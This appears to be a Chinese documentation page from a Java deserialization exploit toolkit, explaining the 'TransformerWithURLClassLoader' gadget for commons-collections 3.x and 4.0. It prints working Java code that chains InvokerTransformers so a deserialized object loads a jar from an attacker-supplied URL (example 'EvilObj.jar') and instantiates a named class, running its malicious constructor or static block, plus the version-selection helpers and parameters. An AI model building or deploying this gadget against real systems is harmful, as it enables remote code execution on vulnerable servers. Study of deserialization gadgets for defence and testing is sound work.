Skip to content

Latest commit

 

History

History
90 lines (76 loc) · 6.04 KB

File metadata and controls

90 lines (76 loc) · 6.04 KB

远程加载jar包(TransformerWithURLClassLoader)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖<=commons-collections 3.2.1<=commons-collections 4.0

作用

构造一个 commons-collections 的 Transformer[] 数组,当它被 ChainedTransformer 依次执行时,用 URLClassLoader 从远程 HTTP 服务加载一个 jar,再 loadClass 出其中的恶意类并 newInstance 实例化。是 CC 系「TransformerChains」sink 的一种,最终效果为远程加载并执行外部 jar。

链接标签

  • 入口 tagsTransformerChainsEND —— TransformerChains 表示本 gadget 产出一个「Transformer 数组」,需由能消费该数组的上一环(如 CommonsCollectionsK3/K4LazyMap/ChainedTransformer 载体)来承接;END 表示它是链尾 sink,自身不再向下衔接。
  • 衔接 nextTags:无(链尾)。
  • excludes:无。

源码剖析

本类只实现 getObject()invoke(),通用的反射建构方法在基类 AbstractTransformer

public Object getObject() throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(URLClassLoader.class));
    transformers.add(this.createInvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"newInstance", new Class[]{URL[].class}}));
    transformers.add(this.createInvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{new URL[]{new URL(this.jarUrl)}}}));
    transformers.add(this.createInvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{this.remoteObj}));
    transformers.add(this.createInvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"newInstance", new Class[0]}));
    transformers.add(this.createInvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
    return this.createTransformerArray(transformers);
}

这是经典的 URLClassLoader.newInstance(URL[]).loadClass(name).newInstance() 反射链,用 InvokerTransformer 逐跳拼出:

  1. ConstantTransformer(URLClassLoader.class) —— 把首环输入固定为 URLClassLoader 这个 Class 对象。
  2. getMethod("newInstance", URL[].class) —— 取静态工厂 URLClassLoader.newInstance(URL[])Method
  3. invoke(null, new URL[]{new URL(jarUrl)}) —— 调用该静态方法,得到一个以 jarUrl 为 classpath 的 URLClassLoader 实例。
  4. loadClass(remoteObj) —— 用该 loader 加载远程 jar 中的目标类 remoteObj,返回其 Class
  5. getMethod("newInstance") + invoke(null) —— 取无参 Class.newInstance() 并调用,实例化目标类。构造函数或静态块中的恶意代码在此刻执行。
// invoke:根据上下文告知的 CC 版本选择 3.x / 4.x 的 Transformer 类
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);
    this.initClazz(version);
    return this.getObject();
}

invokeGadgetContext 读取 CC_VERSION,交给基类 initClazz 反射解析对应版本的 Transformer/ConstantTransformer/InvokerTransformer 类名:

public void initClazz(String version) throws ClassNotFoundException {
    if (version.equals("3")) {
        this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
        this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
        ...
    } else if (version.equals("4")) {
        this.transformerClazz = Class.forName("org.apache.commons.collections4.Transformer");
        this.invokerTransformerClazz = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
        ...
    }
}
public Object createInvokerTransformer(Object ... args) throws Exception {
    return Reflections.newInstance(this.invokerTransformerClazz.getName(),
        new Class[]{String.class, Class[].class, Object[].class}, args);
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
    Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());
    for (int i = 0; i < transformers.size(); ++i) Array.set(transformerArray, i, transformers.get(i));
    return transformerArray;
}

由于类名由 CC_VERSION 动态选择,同一 gadget 同时适配 commons-collections 3.x 与 4.0。createTransformerArrayArray.newInstance 建出具体类型Transformer[] 而非 Object[])的数组,以便被 ChainedTransformerTransformedMap/LazyMap 正确消费。

参数(@Param)

字段 名称 说明 默认 可选值
jarUrl jarUrl 恶意服务器上 jar 的 URL,如 http://localhost:80/EvilObj.jar
remoteObj remoteObj 远程 jar 中要加载并实例化的类名

适用版本与原理要点

  • 依赖 commons-collections <=3.2.1<=4.0invoke 依据上下文注入的 CC_VERSION 自动切换 3/4 版本的 Transformer 类。
  • TransformerWithTemplatesImpl/TransformerWithExec 同族,区别只在最终 sink:本 gadget 走 URLClassLoader 远程加载 jar,不落地字节码文件、不依赖 TemplatesImpl,适合目标出网且允许远程加载的场景。
  • 触发要求目标能对外发起 HTTP 请求拉取 jarUrl,且 remoteObj 类拥有可执行恶意逻辑的默认构造器/静态块。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可替换 K3/K4 链中的 TransformerWithTemplatesImpl 环使用。

关联